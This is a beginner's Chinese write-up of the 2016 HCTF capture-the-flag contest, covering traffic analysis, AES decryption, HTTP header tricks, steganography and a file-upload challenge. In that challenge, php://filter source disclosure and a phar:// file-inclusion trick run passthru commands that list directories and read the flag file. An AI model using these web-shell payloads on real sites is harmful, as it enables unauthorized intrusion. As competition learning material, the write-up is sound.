2016HCTF-writeup

写在开头的话

2016HCTF应该是我第一场比较认真参加的一场CTF了,由于还是个萌新,啥都不懂,这篇文章就是把当时自己做出来的题的做题思路记录一下(其实早该发了,但是因为我懒【捂脸】),让各位dalao见笑了
官方wp在这→HCTF 2016网络攻防大赛官方Writeup
膜拜杭电各位大佬

第一层

MISC 杂项签到

http://139.224.54.27/webco1a/+_+.pcapng
用wireshark打开流量包,追踪TCP流,发现是一个webshell的流量,看到webshell控制端查看了远程服务器上的两个关键文件:function.py和flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
cat function.py

#!/usr/bin/env python
# coding:utf-8
__author__ = 'Aklis'

from Crypto import Random
from Crypto.Cipher import AES

import sys
import base64


def decrypt(encrypted, passphrase):
IV = encrypted[:16]
aes = AES.new(passphrase, AES.MODE_CBC, IV)
return aes.decrypt(encrypted[16:])


def encrypt(message, passphrase):
IV = message[:16]
length = 16
count = len(message)
padding = length - (count % length)
message = message + '\0' * padding
aes = AES.new(passphrase, AES.MODE_CBC, IV)
return aes.encrypt(message)


IV = 'YUFHJKVWEASDGQDH'

message = IV + 'flag is hctf{xxxxxxxxxxxxxxx}'


print len(message)

example = encrypt(message, 'Qq4wdrhhyEWe4qBF')
print example
example = decrypt(example, 'Qq4wdrhhyEWe4qBF')
print example
1
2
cat flag:
mbZoEMrhAO0WWeugNjqNw3U6Tt2C+rwpgpbdWRZgfQI3MAh0sZ9qjnziUKkV90XhAOkIs/OXoYVw5uQDjVvgNA==

flag明显是个base64编码后的字符串,将其解码后再用function.py和decrypt函数解密:

运行得到flag:


Web 2099年的flag

由ios99想到改user-agent,抓包改一下:


第二层

Web RESTFUL

http://jinjia.hctf.io/index.php
打开看到页面下方有提示:

用PUT方法传个参

因为刚接触web,不懂RESTful是什么,查了一下RESTful,发现是一种web软件架构
理解RESTful架构

改个包,flag出来了

MISC gogogo

下载下来,发现是个.nes的红白机文件,用FcEuX打开,看到了经典的魂斗罗
9
按照 http://wenku.baidu.com/link?url=1i4slMmKov6LncwLAwa-VmJmAwRwIkgcK-xzls2uOnuJzS7wrsG_mjDdVOVbQzG0Q5p6NmRzcd-vBIbpuWihXEdoiQWs6dsc03aggjzd3Ty 所说的来修改成无限命和不坏金身,打通关就看到了:

Web 兵者多诡

http://pics.hctf.io/home.php?key=hduisa123
参考文章http://www.hackdig.com/09/hack-26779.htm
看到文件上传页面 猜测是上传漏洞,页面说明只能上传png文件
尝试了几次后发现验证方式是对content-type验证,为image/png即可,但是上传后的文件会被重新命名并加上.png后缀。
发现允许使用php伪协议:
http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=upload
http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=home
http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=function
http://pics.hctf.io/home.php?fp=php://filter/convert.base64-encode/resource=show
把源码扒下来,base64解码,
home.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php  
error_reporting(0);

@session_start();
posix_setuid(1000);

$fp = empty($_GET['fp']) ? 'fail' : $_GET['fp'];
if(preg_match('/\.\./',$fp))
{
die('No No No!');
}
if(preg_match('/rm/i',$_SERVER["QUERY_STRING"]))
{
die();
}
?>
<!DOCTYPE html>
<html>
<head>
<title></title>
<meta charset="utf-8">
<link href="css/bootstrap.min.css" rel="stylesheet">
<link href="css/jumbotron-narrow.css" rel="stylesheet">
</head>
<body>
<div class="container">
<div class="header clearfix">
<nav>
<ul class="nav nav-pills pull-right">
<li role="presentation" class="active"><a href="home.php?key=hduisa123">Home</a></li>
</ul>
</nav>
<h3 class="text-muted">pictures</h3>
</div>

<div class="jumbotron">
<h1>Pictures Storage</h1>
<p class="lead">在这里上传您的图片,我们将为您保存</p>
<form action="?fp=upload" method="POST" id="form" enctype="multipart/form-data">
<input type="file" id="image" name="image" class="btn btn-lg btn-success" style="margin-left: auto; margin-right: auto;">
<br>
<input type="submit" id="submit" name="submit" class="btn btn-lg btn-success" role="button" value="上传图片">
</form>
</div>
</div>
</body>
</html>
<?php
if($fp !== 'fail')
{
if(!(include($fp.'.php')))
{
?>
<div class="alert alert-danger" role="alert">没有此页面</div>
<?php
exit;
}
}
?>

upload.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php  
include 'function.php';
if(isset($_POST['submit']) && !empty($_FILES['image']['tmp_name']))
{
$name = $_FILES['image']['tmp_name'];
$type = $_FILES['image']['type'];
$size = $_FILES['image']['size'];

if(!is_uploaded_file($name))
{
?>
<div class="alert alert-danger" role="alert">图片上传失败,请重新上传</div>
<?php
exit;
}

if($type !== 'image/png')
{
?>
<div class="alert alert-danger" role="alert">只能上传PNG图片</div>
<?php
exit;
}

if($size > 10240)
{
?>
<div class="alert alert-danger" role="alert">图片大小超过10KB</div>
<?php
exit;
}

$imagekey = create_imagekey();
move_uploaded_file($name,"uploads/$imagekey.png");

echo "<script>location.href='?fp=show&imagekey=$imagekey'</script>";
}
?>

show.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php  
$imagekey = $_GET['imagekey'];
if(empty($imagekey))
{
echo "<script>location.href='home.php'</script>";
exit;
}

?>
<div class="alert alert-success" role="alert">
上传成功,<a href="uploads/<?php echo $imagekey; ?>.png" class="alert-link">点此查看</a>
</div>

function.php

1
2
3
4
5
6
<?php  
function create_imagekey()
{
return sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT'] . time() . mt_rand());
}
?>

发现home.php中存在本地文件包含:if(!(include($fp.’.php’))),fp参数可控制,然后会在文件名后加一个.php进行文件包含,因此我们可以上传我们需要包含的文件。但是直接包含肯定是不行的,需要构造文件名。
查询PHP手册发现PHP支持如下的Wrappers:

file:// — Accessing local filesystem
http:// — Accessing HTTP(s) URLs
ftp:// — Accessing FTP(s) URLs
php:// — Accessing various I/O streams
zlib:// — Compression Streams
data:// — Data (RFC 2397)
glob:// — Find pathnames matching pattern
phar:// — PHP Archive
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — Audio streams
expect:// — Process Interaction Streams

测试phar://可用,将php文件打包在zip文件中,再构造路径访问。
测试发现eval函数被禁用了,因此使用passthru函数执行系统命令。
写一个2.php文件,(这里我做题的时候似乎测试到有GET、POST、REQUEST等字段会被过滤,最后看官方wp是可以用GET的,可能是当时我测的出了点问题)打包在zip压缩包中上传,上传时使用burpsuite的截断功能修改content-type。
查看当前目录下文件:<?php passthru(‘ls –alh’); ?>
上传后访问文件名为24c38706822f22274de3d8faabb5b9601d922d85.png ,访问
http://pics.hctf.io/home.php?fp=phar://uploads/24c38706822f22274de3d8faabb5b9601d922d85.png/2

没什么特别的
查看工作目录
<?php passthru(‘pwd’); ?>

查看上层目录
<?php echo passthru(‘ls /var/www’);?>

有个php文件,查看一下
<?php echo passthru(‘cat /var/www/Th1s_1s_F1a9.php’);?>

查看页面源代码

MISC 教练我想打CTF

用神器Stegsolve打开,感觉在RGB0位有点问题,猜测是LSB隐写,分析一下

发现有pk文件头,猜测是个zip压缩包,保存出来,解压,发现提示文件损坏,用winrar自带的工具修复一下,成功了,打开看到一个叫1的文件,010editor打开,发现是个elf文件,继续往下看,成功发现flag

总结

通过这次比赛,学到了很多新姿势,也让我认识到自己到底有多菜,dalao们有多强,再次膜拜各位dalao